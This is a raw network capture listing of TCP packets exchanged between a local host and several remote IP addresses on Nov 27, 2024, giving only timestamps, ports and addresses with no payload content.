Nov 27, 2024 17:58:48.085552931 CET	49806	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.085557938 CET	443	49808	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.085572958 CET	443	49806	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.086174965 CET	49806	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.086179972 CET	443	49806	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.086615086 CET	49808	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.086631060 CET	443	49808	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.087142944 CET	49808	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.087146997 CET	443	49808	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.098542929 CET	49833	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.098542929 CET	49832	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.098556995 CET	443	49833	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.098594904 CET	49837	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.098598003 CET	49836	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.206248045 CET	49840	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.287336111 CET	443	49839	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.287394047 CET	49839	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.298937082 CET	49833	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.299022913 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:48.299046993 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:48.325736046 CET	443	49814	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.327971935 CET	49814	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.327989101 CET	443	49814	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.329278946 CET	49814	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.329284906 CET	443	49814	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.333978891 CET	443	49820	18.161.69.30	192.168.2.7
Nov 27, 2024 17:58:48.334079027 CET	49820	443	192.168.2.7	18.161.69.30
Nov 27, 2024 17:58:48.358776093 CET	443	49825	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.389206886 CET	49825	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.389239073 CET	443	49825	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.390685081 CET	49825	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.390690088 CET	443	49825	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.416764021 CET	443	49833	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.416831017 CET	443	49833	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.416876078 CET	49833	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.419820070 CET	49833	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.419833899 CET	443	49833	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.430023909 CET	443	49826	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.449929953 CET	49826	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.449959993 CET	443	49826	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.450531006 CET	49826	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.450539112 CET	443	49826	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.465253115 CET	443	49832	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.465329885 CET	443	49832	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.465507030 CET	443	49840	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.465563059 CET	49832	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.465570927 CET	443	49840	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.465620995 CET	49840	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.469660997 CET	49832	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.469677925 CET	443	49832	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.470088959 CET	49840	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.470101118 CET	443	49840	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.489495039 CET	443	49837	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.489574909 CET	443	49837	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.489696980 CET	49837	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.489988089 CET	443	49836	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.490044117 CET	443	49836	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.490094900 CET	49836	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.517144918 CET	49837	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.517172098 CET	443	49837	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.524004936 CET	49836	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.524025917 CET	443	49836	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.530945063 CET	443	49839	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.531004906 CET	443	49839	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.531049967 CET	49839	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.539288998 CET	49839	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.539338112 CET	443	49839	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.545351028 CET	443	49808	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.545425892 CET	443	49808	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.545485973 CET	49808	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.545840025 CET	49808	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.545855999 CET	443	49808	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.546045065 CET	443	49806	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.546103001 CET	443	49806	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.546149015 CET	49806	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.546288013 CET	49806	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.546299934 CET	443	49806	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.546307087 CET	49806	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.546313047 CET	443	49806	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.549103975 CET	49848	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.549140930 CET	443	49848	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.549299002 CET	49849	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.549316883 CET	443	49849	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.549355030 CET	49848	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.549391031 CET	49849	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.549561024 CET	49848	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.549571991 CET	443	49848	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.550483942 CET	49849	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.550502062 CET	443	49849	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.619680882 CET	49755	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:48.620135069 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:48.659452915 CET	443	49844	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.666805029 CET	49844	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.666837931 CET	443	49844	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.668132067 CET	443	49844	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.668247938 CET	49844	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.671420097 CET	49844	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.671510935 CET	443	49844	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.671817064 CET	49844	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.671829939 CET	443	49844	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:48.693696976 CET	443	49843	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.694053888 CET	49843	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.694120884 CET	443	49843	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.695209026 CET	443	49843	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.695282936 CET	49843	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.695768118 CET	49843	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.695838928 CET	443	49843	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.695955038 CET	49843	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.695971966 CET	443	49843	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:48.723411083 CET	49844	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:48.734241009 CET	443	49842	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:48.736967087 CET	49842	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:48.736984015 CET	443	49842	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:48.737637043 CET	49842	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:48.737643003 CET	443	49842	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:48.737665892 CET	49842	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:48.737675905 CET	443	49842	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:48.739614010 CET	80	49755	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:48.740045071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:48.740098953 CET	443	49841	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:48.740226030 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:48.740314007 CET	49841	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:48.743767977 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:48.745942116 CET	49843	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:48.759855986 CET	49841	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:48.759876966 CET	443	49841	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:48.760185003 CET	443	49841	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:48.761235952 CET	49841	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:48.761235952 CET	49841	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:48.761266947 CET	443	49841	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:48.814153910 CET	443	49814	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.814234018 CET	443	49814	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.814872980 CET	49814	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.815001011 CET	49814	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.815016985 CET	443	49814	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.815037966 CET	49814	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.815045118 CET	443	49814	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.816076040 CET	443	49825	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.816143990 CET	443	49825	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.816219091 CET	49825	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.825526953 CET	49825	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.825555086 CET	443	49825	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.825565100 CET	49825	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.825571060 CET	443	49825	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.830168962 CET	49851	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.830214977 CET	443	49851	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.831340075 CET	49852	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.831345081 CET	49851	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.831376076 CET	443	49852	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.831590891 CET	49852	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.835042000 CET	49851	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.835064888 CET	443	49851	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.835103989 CET	49852	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.835133076 CET	443	49852	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.879734993 CET	443	49826	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.879817963 CET	443	49826	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.879981995 CET	49826	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.889950037 CET	49826	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.889950991 CET	49826	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.889982939 CET	443	49826	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.889997005 CET	443	49826	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.894383907 CET	49853	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.894419909 CET	443	49853	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.894471884 CET	49853	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.895301104 CET	49853	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:48.895323992 CET	443	49853	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:48.896358967 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:49.108736992 CET	443	49844	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:49.108817101 CET	443	49844	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:49.108870029 CET	49844	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:49.109163046 CET	49844	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:49.109179020 CET	443	49844	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:49.142364979 CET	443	49843	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:49.142446995 CET	443	49843	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:49.142664909 CET	49843	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:49.142749071 CET	49843	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:49.142772913 CET	443	49843	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:49.350661039 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:49.350908041 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:49.350918055 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:49.351972103 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:49.352034092 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:49.353750944 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:49.353806019 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:49.354295015 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:49.354300976 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:49.395433903 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:49.411906004 CET	49854	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:49.411928892 CET	443	49854	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:49.412012100 CET	49854	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:49.412307024 CET	49855	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:49.412353992 CET	443	49855	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:49.412421942 CET	49855	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:49.412580013 CET	49854	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:49.412592888 CET	443	49854	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:49.413005114 CET	49855	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:49.413023949 CET	443	49855	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:49.419651031 CET	443	49846	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:49.419920921 CET	49846	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:49.419950008 CET	443	49846	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:49.421005011 CET	443	49846	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:49.421066999 CET	49846	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:49.421545982 CET	49846	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:49.421662092 CET	443	49846	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:49.421700954 CET	49846	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:49.435729027 CET	443	49841	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:49.436391115 CET	443	49841	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:49.436479092 CET	49841	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:49.437356949 CET	49841	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:49.437372923 CET	443	49841	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:49.437436104 CET	49841	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:49.437443018 CET	443	49841	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:49.467334032 CET	443	49846	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:49.472301960 CET	49846	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:49.472323895 CET	443	49846	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:49.520243883 CET	49846	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:49.764524937 CET	49846	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:49.764705896 CET	443	49846	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:49.764813900 CET	49846	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:49.877768993 CET	49856	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:49.877809048 CET	443	49856	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:49.877926111 CET	49856	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:49.878177881 CET	49857	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:49.878223896 CET	443	49857	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:49.878312111 CET	49857	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:49.878366947 CET	49856	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:49.878376961 CET	443	49856	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:49.878540039 CET	49857	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:49.878556013 CET	443	49857	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:49.888936996 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:49.888962984 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:49.888969898 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:49.889008999 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:49.889036894 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:49.889044046 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:49.889065981 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:49.889079094 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:49.889094114 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:49.889113903 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.079576969 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.079607964 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.079696894 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.079711914 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.079736948 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.079777956 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.223450899 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.223473072 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.223617077 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.223628998 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.226802111 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.266917944 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.266940117 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.267004013 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.267023087 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.267083883 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.278506994 CET	443	49848	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.279342890 CET	49848	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.279376984 CET	443	49848	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.279649973 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.279722929 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.279738903 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.279756069 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.279805899 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.284957886 CET	49848	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.284959078 CET	49845	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.284980059 CET	443	49848	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.285002947 CET	443	49845	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.361269951 CET	443	49849	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.362077951 CET	49849	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.362107038 CET	443	49849	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.362987995 CET	49849	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.363001108 CET	443	49849	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.604182959 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:50.604223013 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:50.604307890 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:50.604520082 CET	49858	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:50.604532957 CET	443	49858	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:50.629432917 CET	443	49853	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.630661964 CET	49853	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.630698919 CET	443	49853	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.631197929 CET	49853	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.631206989 CET	443	49853	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.671871901 CET	443	49854	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:50.672344923 CET	49854	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:50.672358990 CET	443	49854	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:50.672700882 CET	443	49854	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:50.673032999 CET	49854	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:50.673089981 CET	443	49854	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:50.675919056 CET	443	49855	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:50.677103996 CET	49855	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:50.677124023 CET	443	49855	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:50.677609921 CET	443	49855	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:50.678050041 CET	49855	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:50.678179979 CET	443	49855	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:50.692847967 CET	443	49851	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.693476915 CET	49851	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.693500042 CET	443	49851	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.694000006 CET	49851	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.694005966 CET	443	49851	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.694425106 CET	443	49852	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.694713116 CET	49852	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.694741964 CET	443	49852	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.695219040 CET	49852	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.695225000 CET	443	49852	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.697637081 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:50.697695017 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:50.722294092 CET	49854	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:50.722321987 CET	49855	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:50.724855900 CET	443	49848	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.724929094 CET	443	49848	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.725493908 CET	49848	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.725574970 CET	49848	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.725596905 CET	443	49848	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.725609064 CET	49848	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.725615025 CET	443	49848	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.728794098 CET	49859	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.728828907 CET	443	49859	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.729188919 CET	49859	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.729563951 CET	49859	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.729577065 CET	443	49859	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.822266102 CET	443	49849	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.822385073 CET	443	49849	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.822462082 CET	49849	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.822798967 CET	49849	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.822818995 CET	443	49849	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.822830915 CET	49849	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.822837114 CET	443	49849	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.826500893 CET	49860	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.826534033 CET	443	49860	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:50.826662064 CET	49860	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.826833010 CET	49860	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:50.826843977 CET	443	49860	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.083353996 CET	443	49853	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.083420992 CET	443	49853	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.083730936 CET	49853	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:51.087455988 CET	49853	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:51.087498903 CET	443	49853	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.087548971 CET	49853	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:51.087567091 CET	443	49853	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:51.102330923 CET	443	49856	162.159.61.3	192.168.2.7
